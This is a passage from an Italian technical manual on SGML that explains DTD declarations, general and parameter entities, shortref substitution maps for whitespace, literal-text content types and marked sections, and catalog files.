`#PCDATA`	*Parsed character data.* Si riferisce a testo normale soggetto alla sostituzione delle entità. Questo testo non può contenere altri elementi.
`CDATA`	Il contenuto dell'elemento deve essere trattato come testo letterale, in modo da ignorare ciò che altrimenti potrebbe essere interpretato come un marcatore o un'entità. In pratica, la definizione di elementi con contenuto '**CDATA**' è decisamente sconsigliabile. Se esiste la necessità di delimitare una zona di testo da trattare in modo letterale, solitamente, si preferisce utilizzare una sezione marcata del tipo '**<![CDATA[**...**]]>**'.
`RCDATA`	Il contenuto dell'elemento deve essere trattato come testo letterale, in modo da ignorare ciò che altrimenti potrebbe essere interpretato come un marcatore, ma continuando a espandere le entità.

63.1.9 Abbinare il DTD al documento SGML

L'abbinamento di un DTD a un documento SGML avviene generalmente in modo formale. In presenza di situazioni eccezionali, questo abbinamento può essere implicito, come nel caso dell'HTML, ma è bene utilizzare ugualmente l'approccio generale anche in questi casi estremi.

Un sorgente SGML inizia normalmente con la dichiarazione del tipo di DTD utilizzato. Può trattarsi di un file esterno o di dichiarazioni incorporate nel documento stesso. Per esempio, la dichiarazione seguente indica all'analizzatore SGML di utilizzare un DTD esterno, denominato '**linuxdoc**' e contenuto nel file '`linuxdoc.dtd`'.

```
<!DOCTYPE linuxdoc SYSTEM "linuxdoc.dtd">
```

L'esempio seguente mostra invece una dichiarazione iniziale che contiene le istruzioni che compongono il DTD, racchiuse tra parentesi quadre.

```
<!DOCTYPE personale [
...
-- istruzioni SGML --
...
...
]>
```

Una terza possibilità permette di definire un file esterno e di aggiungere altre istruzioni particolari riferite al documento, come nell'esempio seguente, sempre utilizzando le parentesi quadre.

```
<!DOCTYPE linuxdoc SYSTEM "linuxdoc.dtd" [
...
-- istruzioni SGML --
...
...
]>
```

Inoltre, come è stato visto nel caso delle entità, l'acquisizione dall'esterno di un file contenente un DTD, può avvenire anche senza stabilire espressamente il nome di un file, lasciando che questo venga determinato da un catalogo. Così, l'esempio già visto del DTD '**`linuxdoc`**' si potrebbe trasformare nel modo seguente:

```
<!DOCTYPE linuxdoc SYSTEM>
```

Esiste anche un'altra alternativa: quella di indicare un identificatore pubblico, anch'esso riferito a un catalogo. Quello che segue è il preambolo di un file SGML scritto secondo il DTD HTML 3.2. Si osservi, a questo proposito, l'uso della parola chiave '**`PUBLIC`**'.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
```

63.1.9.1 Strategie

«

La scelta di incorporare il DTD nel documento, o di lasciarlo all'esterno, dipende da delle preferenze organizzative. Di sicuro, può essere sensato l'inclusione del DTD nel documento SGML quando si tratta di un DTD specifico che non viene usato altrove.

Nella realtà, si utilizza quasi sempre un DTD esterno, probabilmente predisposto da altri, abbinato a una serie di strumenti che permettono di produrre dei documenti in formato finale a partire dai sorgenti SGML scritti seguendo quel DTD particolare.

L'estensibilità del DTD resta sempre una possibilità utile per poter aggiungere delle entità generali (interne o esterne) o delle entità parametriche allo scopo di gestire opportunamente le sezioni marcate.

63.1.9.2 Entità generali

Come si è visto nella sezione precedente, la dichiarazione del DTD può includere delle istruzioni del DTD, generalmente estendendolo. Questo meccanismo permette, tra le altre cose, di inserire delle entità generali, interne o esterne. Si osservi l'esempio:

```
<!DOCTYPE linuxdoc SYSTEM
[
<!ENTITY pericolo "!!">
<!ENTITY posix    "POSIX">
<!ENTITY unix     "Unix">
<!ENTITY xwin     "X Window System">
<!ENTITY edizione "1999.12.31">
]>
```

L'esempio appena mostrato permette di utilizzare le macro '**&pericolo;**', '**&posix;**', '**&unix;**', '**&xwin;**' e '**&edizione;**', all'interno del sorgente SGML, ottenendo la loro sostituzione automatica. Per intenderne l'utilità, basta pensare al caso della macro '**&xwin;**' dell'esempio precedente: non occorre più ricordare come si deve scrivere («X», «X Window» o «X Window System»); se si decidesse di cambiare, basterebbe modificare la dichiarazione dell'entità. Il concetto è analogo a quello delle macro del precompilatore nei linguaggi di programmazione.

L'esempio fa riferimento in particolare a entità interne, perché tutto quello che serve è contenuto nella dichiarazione, mentre sarebbero entità esterne se si fa riferimento a file esterni per l'espansione del loro contenuto.

Segue un esempio con l'uso di un'entità esterna:

```
<!DOCTYPE linuxdoc SYSTEM
[
<!ENTITY COPY         SYSTEM "formalita/copy.sgml">
]>
```

La definizione di entità generali è consentita anche quando queste dovessero essere già state dichiarate nel DTD. Le entità dichiarate nelle istruzioni aggiuntive, dovrebbero prendere la precedenza e sostituirsi a quelle eventualmente già dichiarate nel DTD.

63.1.9.3 Entità parametriche

Come nel caso delle entità generali, nelle estensioni del DTD può essere conveniente aggiungere la dichiarazione di entità parametriche da utilizzare per controllare l'inclusione o l'esclusione di sezioni marcate. Si osservi l'esempio, già mostrato in precedenza, in cui la macro '**commentato**' serve per controllare alcune sezioni marcate, stabilendone il tipo.

```
<!DOCTYPE linuxdoc SYSTEM
[
<!ENTITY pericolo "!!">
<!ENTITY posix    "POSIX">
<!ENTITY unix     "Unix">
<!ENTITY xwin     "X Window System">
<!ENTITY edizione "1999.12.31">
...
<!ENTITY % commentato "INCLUDE">
]>
...
...
1 + 2 = 3
<![%commentato;[
La matematica non è un'opinione.
]]>
...
...
```

63.1.9.4 Ultime annotazioni sulla dichiarazione del DTD

Si è visto in che modo inizia un sorgente SGML. Quello che non è ancora stato chiarito è che il tipo di documento deve essere stato dichiarato nel DTD, anche se ciò può sembrare ridondante. In effetti è necessario dire di cosa è composto il documento. Nel DTD potrebbe apparire un'istruzione come quella seguente:

```
<!ELEMENT linuxdoc O O ( article | report | book | letter ) >
```

In questo esempio, si comprende che non è necessario usare marcatori del tipo '**<linuxdoc>**' '**</linuxdoc>**' per delimitare il sorgente SGML. Infatti, la coppia di '**O**' afferma che queste sono opzionali. Invece, il tipo di documento '**linuxdoc**' deve contenere esattamente un elemento del tipo '**article**', oppure '**report**', oppure '**book**', o ancora '**letter**'.

Il sorgente SGML che fa riferimento al tipo di documento '**linuxdoc**' e che utilizza il formato definito dall'elemento '**article**', è composto schematicamente come segue:

```
<!DOCTYPE linuxdoc SYSTEM>
<article>
...
...
...
</article>
```

Un tipo di documento potrebbe essere definito in maniera diversa, per esempio nel modo seguente:

```
<!element miodoc - - ( sezione+ ) >
```

In questo caso, il documento può contenere solo elementi '**sezione**', ed è obbligatorio l'utilizzo dei marcatori per indicare l'inizio e la fine del tipo di documento.

```
<!doctype miodoc system>
<miodoc>
        <sezione>
        ...
        ...
        ...
</miodoc>
```

63.1.10 Mappe di sostituzione (shortref)

Fino a questo punto, si è vista la filosofia dell'SGML applicata alla struttura del documento e all'indipendenza rispetto alla piattaforma. L'analizzatore SGML standard, oltre che convalidare il documento in base al DTD, si occupa di rielaborare il sorgente SGML per generare un risultato intermedio, più facile da gestire per altri programmi di composizione.

In un certo qual modo, questo risultato intermedio può essere controllato, all'interno del DTD, attraverso la definizione di mappe di sostituzione, o *shortref*.

Con questo meccanismo, si punta normalmente ad attribuire significati speciali a simboli determinati, oltre che a controllare la spaziatura orizzontale e verticale del testo.

63.1.10.1 Dichiarazione e abbinamento delle mappe di sostituzione

La mappa di sostituzione definisce un abbinamento tra un simbolo e un'entità che ne deve prendere il posto. L'esempio seguente è solo un pezzo ipotetico della dichiarazione di una mappa del genere.

```
<!SHORTREF miamappa
...
        "[" lsqb
        "]" rsqb
        "~" nbsp
        "_" lowbar
        "#" num
        "%" percnt
        "^" circ
        "{" lcub
        "}" rcub
        "|" verbar >
```

Dall'esempio si può osservare che alcuni simboli vengono sostituiti con le entità relative, indicate solo per nome, senza bisogno della e-commerciale e del punto e virgola finale. Questo fatto, di per sé, potrebbe sembrare assolutamente inutile dal punto di vista di SGML: se si può scrivere una parentesi quadra aperta, perché sostituirla automaticamente con la sua entità corrispondente. Il fatto è che il software utilizzato per la composizione, potrebbe attribuire un significato speciale a una parentesi quadra, mentre quello che si vuole nel testo SGML è che questa valga solo per quello che appare. In tal modo, chi scrive dovrebbe utilizzare necessariamente la macro '**`[`**' per non creare problemi al programma di composizione o di elaborazione successiva.

Nello stesso modo, attraverso la mappa di sostituzione, si può attribuire un significato completamente diverso alla parentesi quadra aperta: per assurdo, potrebbe diventare una parentesi graffa...

```
<!SHORTREF miamappa
...
        "[" lcub
        "]" rcub
...
        "{" lcub
        "}" rcub
        "|" verbar >
```

Volendo fare delle acrobazie, si può associare un simbolo a un'entità che poi si traduce in un marcatore. Si osservi l'esempio.

```
<!ENTITY formula1 '<formula>'>
<!ENTITY formula0 '</formula>'>
<!SHORTREF miamappa
...
        "[" formula1
        "]" formula0
...
        "{" lcub
        "}" rcub
        "|" verbar >
```

In questo modo, quando nel testo si utilizzano le parentesi quadre, ciò che si ottiene è l'apertura e la chiusura dell'elemento '**`formula`**'.

> Anche se questa tecnica è stata usata nel noto DTD LinuxDoc, come in Qwertz, proprio per delimitare agevolmente le formule matematiche, si tratta di una cosa decisamente sconsigliabile dal punto di vista dell'SGML.

Gli elementi SGML vanno abbinati alle mappe che si ritiene siano più adatte per i loro scopi. Tuttavia, un elemento può non essere stato abbinato esplicitamente ad alcuna mappa; in tal caso eredita quella dell'elemento che lo contiene effettivamente, di volta in volta, nel documento. Di conseguenza, diventa importante abbinare esplicitamente una mappa almeno all'elemento più esterno, ovvero a quello che corrisponde al nome del tipo stesso di documento.

Dagli esempi mostrati, si può notare che la mappa ha un nome, indicato subito dopo la parola chiave '**`SHORTREF`**' che apre il comando. Se si vuole abbinare la mappa '**`miamappa`**' all'elemento '**`acronimo`**', si procede come nell'esempio seguente:

```
<!USEMAP miamappa acronimo>
```

63.1.10.2 Spaziature e interruzioni di riga

In linea di principio, il risultato dell'elaborazione dell'analizzatore SGML contiene tutti gli spazi orizzontali e verticali esistenti nel sorgente di partenza. Però, per quanto possibile, si cerca normalmente di evitare che il sorgente SGML sia vincolato dalla spaziatura utilizzata, che in realtà potrebbe servire solo per facilitarne la lettura umana con rientri, allineamenti, spazi verticali come si farebbe con un linguaggio di programmazione.

Per questo ci deve essere un modo per poter identificare le spaziature orizzontali, le righe vuote e quelle bianche, in modo da poterle sopprimere nel risultato dell'elaborazione SGML. Naturalmente, bisogna poter distinguere, perché ci sono situazioni in cui gli spazi e le righe vuote hanno un significato e vanno mantenuti.

Per queste cose si utilizzano delle macro speciali, ma prima di descriverle, occorre definire alcuni concetti. Dal punto di vista dell'SGML, una riga è una sequenza di caratteri, con un inizio e una fine, ignorando completamente la codifica che si utilizza in pratica per separare una riga dall'altra.

Nei sistemi Unix, il codice di interruzione di riga è composto dal carattere *<LF>* mentre in altri sistemi si utilizza la sequenza *<CR><LF>*. Per l'SGML è come se questi codici non esistessero: le righe finiscono **prima** del codice di interruzione di riga e iniziano **dopo** tale codice. Si osservi l'esempio seguente:

```
<paragrafo>Ciao,
come stai?
Io bene; e tu?</paragrafo>
```

L'idea che ha l'SGML di ciò che è stato scritto, può essere rappresentata dallo schema seguente, dove è stato utilizzato il simbolo '`^`' per segnalare l'inizio della riga, il simbolo '`$`' per segnalarne la fine, i simboli '`>`' e '`<`' per indicare l'inizio e la fine dell'elemento.

```
>Ciao,$
^come stai?$
^Io bene; e tu?<
```

Può sembrare strano, ma all'inizio e alla fine del testo mancano questi margini: esiste solo l'inizio e la fine dell'elemento. Se si dovesse sopprimere una riga, si eliminerebbe implicitamente anche il suo inizio e la sua fine.

Da qualche parte si potrebbe leggere che il codice di inizio riga equivale al codice *<LF>*, mentre quello di fine riga corrisponde a *<CR>*. Evidentemente questo ragionamento può valere solo per le piattaforme che utilizzano file di testo con un'interruzione di riga *<CR><LF>*, ma si tratta di una semplificazione che non corrisponde alla logica di SGML e può essere solo forviante.

La tabella 63.70 mostra le macro più importanti che possono essere usate per il controllo delle spaziature superflue.

Tabella 63.70. Simboli di definizione di spaziature e delimitazione delle righe.

Simbolo	Significato
`&#RS;`	Inizio di una riga (*Record start*).
`&#RE;`	Fine di una riga (*Record end*).
`&#RS;B`	Spaziatura iniziale.
`B&#RE;`	Spaziatura finale.
`&#RS;&#RE;`	Una riga vuota.
`&#RS;B&#RE;`	Una riga contenente solo spazi orizzontali (bianca).
`&#SPACE;`	Uno spazio singolo, [*SP*].
`&#TAB;`	Tabulazione, [*HT*].
`BB`	Spazio orizzontale all'interno e agli estremi dell'elemento.

L'esempio seguente mostra una mappa di sostituzione tipica, in cui si vogliono ignorare (e di conseguenza, eliminare) gli spazi orizzontali superflui, le righe vuote, quelle bianche, infine si vuole che tutto il testo si traduca in una riga sola.

```
<!shortref miamappa
        "BB"            space
        "&#RS;B"        null
        "B&#RE;"        space
        "&#RS;B&#RE;"   null
        "&#RS;&#RE;"    null
        "&#RS;"         null
        "&#RE;"         space
        "[" lsqb
        "]" rsqb
        "~" nbsp
        "_" lowbar
        "#" num
        "%" percnt
        "^" circ
        "{" lcub
        "}" rcub
        "|" verbar >
```

Le macro '**`&space;`**' e '**`&null;`**' si riferiscono rispettivamente a un solo carattere spazio e alla stringa nulla. Generalmente devono essere dichiarate nel DTD nel modo seguente:

```
<!ENTITY space " ">
<!ENTITY null "">
```

Per comprendere meglio l'effetto della mappa di sostituzione proposta, conviene partire da un esempio e analizzare gli effetti di ogni dichiarazione, una alla volta. In particolare, gli utenti dei sistemi Unix devono dimenticare per un po' il comportamento del codice di interruzione di riga (*new-line*), perché SGML considera solo la stringa nulla all'inizio e alla fine della riga: solo quando la fine di una riga e l'inizio della successiva sono stati rimossi, allora queste due vengono unite assieme.

Supponiamo di cominciare da una variante dell'esempio già descritto, dove sono stati aggiunti tanti spazi orizzontali e verticali superflui.

```
>     Ciao,      $
^$
^         $
^come stai?$
^$
^     Io         bene;         e      tu?      <
```

Applicando la trasformazione '**"BB" space**', vengono sostituiti gli spazi orizzontali all'inizio dell'elemento, alla fine e all'interno delle frasi con uno spazio singolo normale.

```
> Ciao,      $
^$
^         $
^come stai?$
^$
^     Io bene; e tu? <
```

Si può osservare che le frasi si sono ricompattate; inoltre, all'inizio e alla fine dell'elemento è rimasto un solo spazio superfluo (che non può essere rimosso). Si continua applicando '**"&#RS;B" null**'; si ottiene l'eliminazione dell'inizio delle righe (quelle che contengono effettivamente qualcosa) fino al primo carattere diverso da uno spazio orizzontale.

```
> Ciao,      $
^$
^         $
^come stai?$
^$
 Io bene; e tu? <
```

Quando si applica anche '**"B&#RE;" space**'; si ottiene la sostituzione degli spazi orizzontali nella parte finale, fino alla fine delle righe (quelle che contengono effettivamente qualcosa), con uno spazio singolo. Nell'esempio, dal momento che nella prima riga è scomparso il simbolo che segnalava la fine della riga, appare un trattino basso, ma solo per aiutare il lettore.

```
> Ciao,_
^$
^         $
^come stai?$
^$
 Io bene; e tu? <
```

La sostituzione '**"&#RS;B&#RE;" null**' elimina le righe bianche, ma non vuote.

```
> Ciao,_
^$
^come stai?$
^$
 Io bene; e tu? <
```

La sostituzione ‘**"&#RS;&#RE;" null**’ elimina le righe vuote.

```
> Ciao,_
^come stai?$
 Io bene; e tu? <
```

Si può osservare che la riga contenente la frase «come stai?», è rimasta intatta. Infatti, non contenendo spazi aggiuntivi all’inizio o alla fine, non è mai stata interessata dalle trasformazioni applicate fino a questo momento.

Finalmente entrano in gioco ‘**"&#RS; null**’ e ‘**"&#RE; space**’, per eliminare l’inizio e la fine delle righe rimaste. Per la precisione, la fine delle righe deve essere sostituito con uno spazio singolo, altrimenti si rischia di attaccare assieme delle parole. La trasformazione viene mostrata in due passaggi.

```
> Ciao,_
 come stai?_
 Io bene; e tu? <
```

```
> Ciao, come stai? Io bene; e tu? <
```

Nonostante la descrizione fatta con tanta cura, è probabile che la trasformazione ‘**"&#RS; null**’ venga semplicemente ignorata, perché l’analizzatore SGML si limita a tenere in considerazione solo la fine delle righe (*record end*).

63.1.10.3 Limitazioni ed esagerazioni

Da quanto visto nella sezione precedente si potrebbe supporre che il meccanismo delle mappe di sostituzione permetta di sostituire quello che si vuole. Non è così, solo alcuni simboli sono considerati dei possibili *shortref*. In ogni caso, ci si accorge subito quando si usa qualcosa di sbagliato: l’analizzatore SGML avvisa immediatamente.

Attraverso le mappe di sostituzione si possono realizzare anche delle acrobazie che spesso sono poco giustificabili e che sarebbe meglio evitare. A parere di chi scrive, la cosa meno utile che si possa richiedere a un sistema SGML è quella di fare in modo che le righe vuote e quelle bianche nel sorgente siano trasformate in separazioni tra i paragrafi. Infatti, l’SGML non ha questo scopo, eppure molti sistemi si impegnano in questo senso. LinuxDoc raggiunge questo risultato intervenendo proprio nelle mappe di sostituzione, facendo in modo che le righe bianche, identificate dal simbolo ‘**&#RS;B&#RE;**’, e quelle vuote, identificate dal simbolo ‘**&#RS;&#RE;**’, siano sostituite da ‘**</p><p>**’, ovvero dai marcatori che servono a chiudere e a riaprire un paragrafo.

```
...
<!ENTITY psplit '</p><p>' >
...
<!SHORTREF pmap
        "&#RS;B" null
        "&#RS;B&#RE;" psplit
        "&#RS;&#RE;" psplit
...
        "{" lcub
        "}" rcub
        "|" verbar >
...
```

Quello che si vede sopra è proprio un estratto dal DTD di LinuxDoc, dove si vede che la macro '**&psplit;**' viene poi rimpiazzata dai marcatori già descritti.

Naturalmente, questo non esclude la possibilità di generare una grande quantità di elementi '**p**' vuoti, in presenza di più righe vuote o bianche. È chiaro che, successivamente, il sistema di composizione utilizzato deve prendersi carico della loro eliminazione.

63.1.10.4 Soluzione normale

Dopo aver visto in quanti modi si possono usare le mappe di sostituzione, vale la pena di mostrare una soluzione «normale», in cui il problema che si vuole risolvere è l'eliminazione degli spazi superflui all'inizio e alla fine delle righe, oltre che l'eliminazione delle righe bianche e quelle vuote:

```
<!ENTITY space " ">
<!ENTITY null "">
<!ENTITY recordstart "&#RS;">
<!ENTITY recordend "&#RE;">

<!SHORTREF standard
        "&#RS;B"        recordstart
        "B&#RE;"        recordend
        "&#RS;B&#RE;"   null
        "&#RS;&#RE;"    null
>
```

In questo modo, come si vede, è stato necessario dichiarare due entità nuove, '**recordstart**' e '**recordend**', per poter sopprimere gli spazi iniziali e finali superflui, pur mantenendo la separazione in righe distinte.

63.1.11 Elementi di testo riportato letteralmente

La predisposizione di un elemento SGML che consenta la scrittura di testo da riportare in modo letterale costituisce un problema. Si possono scegliere soluzioni diverse, ma nessuna perfetta secondo tutti i punti di vista.

Questo tipo di problema è particolarmente sentito nella scrittura di documenti tecnici, in cui ci può essere la necessità di mostrare porzioni di codice scritto in un qualche linguaggio di programmazione. Per evitare che simboli determinati vengano interpretati dall'analizzatore SGML, occorrerebbe utilizzare continuamente delle macro alternative.

Si possono seguire due direzioni per cercare di risolvere il problema: l'uso di elementi predisposti per un tipo di contenuto più o meno letterale, oppure l'uso di elementi normali con l'aggiunta di una sezione marcata di tipo '**CDATA**'.

63.1.11.1 Tipo di contenuto letterale

Nella definizione di un elemento occorre stabilite il tipo di contenuto. A livello elementare, quando l'elemento non può contenere altri elementi, si utilizza normalmente la parola chiave '**#PCDATA**', con cui si fa riferimento a testo che viene analizzato alla ricerca di entità generali da espandere, senza ammette altri elementi al suo interno.

Per ottenere un elemento adatto al contenuto letterale, si usa solitamente il tipo di contenuto definito dalla parola chiave '**RCDATA**', che non è perfettamente letterale, ma vi si avvicina molto. Per la precisione, la forma del testo viene mantenuta, con tutte le sue spaziature e le interruzioni di riga, ma le entità generali vengono espanse, mentre vengono ignorati eventuali marcatori di apertura. Ciò significa che, la e-commerciale ('**&**') non può essere usata in modo letterale, a meno di usare una macro adatta al suo posto. Lo stesso ragionamento riguarda la sequenza di minore e barra obliqua ('**</**'), che è ammessa solo nel marcatore di chiusura di questo elemento.

```
<!ELEMENT formattato - - RCDATA>
```

L'esempio mostra la dichiarazione dell'elemento '**formattato**', di tipo '**RCDATA**'. Generalmente, per poter utilizzare questo elemento nel modo corretto, si devono dichiarare anche due entità generali specifiche.

```
<!ENTITY ero   CDATA "&">
<!ENTITY etago '</' >
```

In tal modo, al posto del simbolo '**&**' si deve utilizzare la macro '**&ero;**', mentre al posto della sequenza '**</**', si deve usare la macro '**&etago;**'. È il caso di osservare che l'entità generale '**ero**' è volutamente diversa da un'entità analoga, necessaria a indicare una e-commerciale in un testo normale. Infatti, in questo caso, si vuole generare un testo letterale, che si presume possa essere interpretato nello stesso modo letterale anche da altro software di composizione successivo.

In alternativa, si potrebbe usare anche un tipo di contenuto definito dalla parola chiave '**CDATA**', che dovrebbe essere in grado di ignorare sia i simboli dei marcatori, che le macro delle entità generali. Di fatto però, questo tipo di elemento non dà normalmente i risultati sperati.

63.1.11.2 Sezioni marcate

Nel sorgente SGML, all'interno di un elemento che non sia stato predisposto per un contenuto letterale, è possibile inserire una sezione marcata di tipo '**CDATA**', come nell'esempio seguente:

```
<![CDATA[
Testo letterale: &amp;, &etago;, <ciao>, </ciao>,
ecc., vengono trattati in modo letterale.
]]>
```

In tal modo, vengono preservati anche gli spazi, orizzontali e verticali, e ogni eventuale mappa di sostituzione (*shortref*) viene ignorata temporaneamente. L'unica cosa che non può contenere questo ambiente, è la sequenza '**]]>**', che serve a concludere la sezione marcata.

Bisogna tenere presente che la sequenza '**]]>**' può essere rappresentata anche con l'inserzione di spazi; per esempio come '**]]>**', '**]] >**' o '**]] >**', che rappresentano sempre la stessa cosa.

Questa tecnica ha il vantaggio di potersi applicare anche a un DTD che non sia stato predisposto con elementi atti all'inserimento di testo letterale. Purtroppo, non tutti gli strumenti SGML sono in grado di riconoscere le sezioni marcate; si pensi ai navigatori, che pur sapendo interpretare l'HTML, non sono sempre in grado di riconoscere tali particolarità.

63.1.12 Cataloghi

Nelle sezioni precedenti si è visto che il DTD può essere composto da diversi file fisici nel sistema. Lo stesso preambolo di un sorgente SGML prevede la dichiarazione e l'inclusione di un DTD. È stato mostrato come includere un blocco di DTD esterno, attraverso la dichiarazione e il successivo utilizzo di un'entità parametrica che fa riferimento a un file esterno.

Quando si vogliono utilizzare componenti esterni senza fare riferimento a un file preciso, si possono predisporre dei cataloghi, con i quali si esplicitano questi dettagli riferiti al sistema di cui si dispone effettivamente.

Questo tipo di approccio viene usato tipicamente per due motivi: evitare di dover fare riferimento a un file preciso per il DTD nella dichiarazione del tipo di documento all'inizio del sorgente SGML; includere in modo dinamico le entità standard riferite alle lettere accentate e ai simboli speciali. Per quanto riguarda il secondo problema, si deve tenere presente che l'SGML si astrae dalla piattaforma, quindi, il modo in cui le entità di questo tipo vanno rappresentate dipende da quello che si vuole fare dopo.

63.1.12.1 Riferimenti esterni

Generalmente, quando si vogliono usare i cataloghi, si possono fare due tipi di riferimenti a componenti esterne: l'identificatore pubblico e l'identificatore di sistema. Seguono quattro esempi significativi a questo proposito: nei primi due si tratta della dichiarazione del tipo di documento '**HTML**' e di un'entità parametrica, attraverso un identificatore pubblico (una stringa piuttosto lunga); negli ultimi due si tratta delle stesse dichiarazioni, ma fatte attraverso un identificatore di sistema.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
```

```
<!ENTITY % ISOlat1 PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN">
```

```
<!DOCTYPE HTML SYSTEM>
```

```
<!ENTITY % ISOlat1 SYSTEM>
```

Si tratta, evidentemente, di due approcci equivalenti, ma che hanno delle conseguenze differenti nell'applicazione pratica. Dalle parole chiave utilizzate, '**PUBLIC**' e '**SYSTEM**', si può intuire che l'identificatore di sistema è legato alla situazione del sistema, anche se non è obbligatoria l'indicazione immediata del file corrispondente.

L'uso degli identificatori pubblici è quindi una scelta più conveniente, essendo meno vincolata alla piattaforma. Infatti, questi vengono utilizzati prevalentemente per tutto ciò che è già stato standardizzato: i DTD standard e le entità esterne standard.

63.1.12.2 Il catalogo in pratica

Quando si usano strumenti di analisi ed elaborazione SGML comuni, il catalogo è un file. A seconda degli strumenti utilizzati, potrebbe essere necessario configurare una variabile di ambiente, o usare un'opzione opportuna nella riga di comando, per comunicare a questi la sua posizione.

Il catalogo serve a esplicitare tutte le componenti esterne che non sono state indicate in modo preciso (il nome del file). Si osservi l'esempio seguente:

```
-- Entità standard richiamate attraverso un identificatore di sistema --
-- Sarebbe meglio non usare questo metodo --
ENTITY %ISOlat1            "ISOlat1"
ENTITY %ISOnum             "ISOnum"
ENTITY %ISOdia             "ISOdia"

-- Entità standard richiamate attraverso un identificatore pubblico --
-- Questo tipo di indicazione è preferibile in generale --
PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN"                "ISOlat1"
PUBLIC "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN"  "ISOnum"
PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN"            "ISOdia"

-- DTD predefinito per il tipo HTML --
DOCTYPE "HTML"                                  "html32.dtd"

-- Identificatori pubblici per le varie forme dell'HTML 3.2 --
PUBLIC "-//W3C//DTD HTML 3.2//EN"               "html32.dtd"
PUBLIC "-//W3C//DTD HTML 3.2 Draft//EN"         "html32.dtd"
PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"         "html32.dtd"
```

Ogni direttiva dell'esempio occupa una riga e si compone di tre parti, dove l'ultima informazione rappresenta il file da utilizzare per quel particolare tipo di entità, documento o identificatore pubblico.

Per la precisione, invece che di file, occorrerebbe parlare di identificatore di sistema effettivo, dove questo concetto viene poi definito dallo standard ISO 8879. In generale si tratta di file e questo dovrebbe bastare come primo approccio all'SGML.

Si noti che i commenti sono delimitati da coppie di trattini, '**--**', come si fa all'interno delle istruzioni SGML.

Direttiva	Descrizione
`PUBLIC` ***identificatore_pubblico identificatore_di_sistema***	Stabilisce l'identificatore di sistema effettivo (il file) corrispondente all'identificatore pubblico indicato. Quando possibile, è preferibile utilizzare gli identificatori pubblici per definire gli oggetti.
`DOCTYPE` ***nome identificatore_di_sistema***	Stabilisce l'identificatore di sistema effettivo (il file) corrispondente al nome del tipo di documento indicato. Dal momento che questo nome può fare riferimento a uno tra diversi DTD alternativi (si pensi al caso dell'HTML con le sue versioni), questa dichiarazione serve prevalentemente per stabilire un DTD predefinito nel caso in cui non sia stato specificato un identificatore pubblico nel documento che si elabora.
`ENTITY` ***nome identificatore_di_sistema***	Stabilisce l'identificatore di sistema effettivo (il file) corrispondente all'entità generale indicata.
`ENTITY %`***nome identificatore_di_sistema***	Stabilisce l'identificatore di sistema effettivo (il file) corrispondente all'entità parametrica indicata. Si osservi il fatto che il simbolo di percentuale è attaccato al nome dell'entità.

Negli esempi seguenti, viene mostrata prima l'istruzione utilizzata nel DTD, o nel preambolo del sorgente SGML, quindi si presenta la direttiva corrispondente, necessaria nel catalogo.

- ```
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
  ```
  Si tratta della dichiarazione, all'inizio di un sorgente SGML, dell'utilizzo del DTD '**`HTML`**', definito in base all'identificatore pubblico '**`-//W3C//DTD HTML 3.2 Final//EN`**'. Perché da questo si possa arrivare a identificare un file particolare, occorre che nel catalogo appaia una direttiva come quella seguente:
  ```
  PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"         "html32.dtd"
  ```
  In tal caso, all'identificatore pubblico '**`-//W3C//DTD HTML 3.2 Final//EN`**', viene abbinato il file '`html32.dtd`'.

- ```
  <!DOCTYPE HTML SYSTEM">
  ```
  Si tratta della dichiarazione, all'inizio di un sorgente SGML, dell'utilizzo del DTD '**`HTML`**', utilizzando un identificatore di sistema che non viene precisato in modo effet-

tivo. Perché da questo si possa arrivare a identificare un file particolare, occorre che nel catalogo appaia una direttiva come quella seguente:

```
DOCTYPE HTML           "html32.dtd"
```

In tal caso, all'identificatore di sistema '**`HTML`**', viene abbinato il file '`html32.dtd`' (l'identificatore di sistema effettivo).

- ```
  <!ENTITY % ISOlat1 PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN">
  ```

  All'interno del DTD, dichiara l'entità parametrica '**`ISOlat1`**' definita secondo l'identificatore pubblico '**`ISO 8879:1986//ENTITIES Added Latin 1//EN`**'. Perché da questo si possa arrivare a identificare un file particolare, occorre che nel catalogo appaia una direttiva simile a una delle due mostrate di seguito:

  ```
  PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN" "ISOlat1.latex"
  ```

  ```
  ENTITY %ISOlat1 "ISOlat1.latex"
  ```

  Nel primo caso, all'identificatore pubblico '**`ISO 8879:1986//ENTITIES Added Latin 1//EN`**', viene abbinato il file '`ISOlat1.latex`'; nel secondo, si specifica direttamente che l'entità parametrica '**`ISOlat1`**' corrisponde al contenuto del file '`ISOlat1.latex`'.

- ```
  <!ENTITY % ISOlat1 SYSTEM>
  ```

  Nel DTD, viene dichiarata l'entità parametrica '**`ISOlat1`**', utilizzando un identificatore di sistema che non viene precisato in modo effettivo. Perché da questo si possa arrivare a identificare un file particolare, occorre necessariamente che nel catalogo appaia una direttiva come quella seguente, dal momento che non è possibile fare riferimento a un identificatore pubblico:

  ```
  ENTITY %ISOlat1          "ISOlat1.latex"
  ```

  In questo modo si definisce l'identificatore di sistema effettivo dell'entità parametrica '**`ISOlat1`**', facendola corrispondere al file '`ISOlat1.latex`' (l'identificatore di sistema effettivo).

63.2 Elaborazione SGML

L'elaborazione SGML si compone fondamentalmente di un programma in grado di verificare la correttezza formale di un sorgente SGML in base al suo DTD. Questo tipo di programma è l'analizzatore SGML (*SGML parser*) e il suo compito si estende frequentemente alla generazione di un risultato intermedio, pronto per una rielaborazione successiva, normalmente attraverso un sistema di composizione tipografica.

L'elaborazione successiva richiede strumenti specifici, ma per le situazioni più semplici, dove basta rimpiazzare un marcatore con una codifica equivalente adatta a un programma di composizione tipografica particolare, si è utilizzato in passato il cosiddetto ASP: *Amsterdam SGML parser*.

L'utilizzo di un analizzatore SGML, precisamente il pacchetto SP con il programma '**`nsgmls`**', è una cosa consueta e attuale, mentre l'utilizzo di un analizzatore ASP può considerarsi una

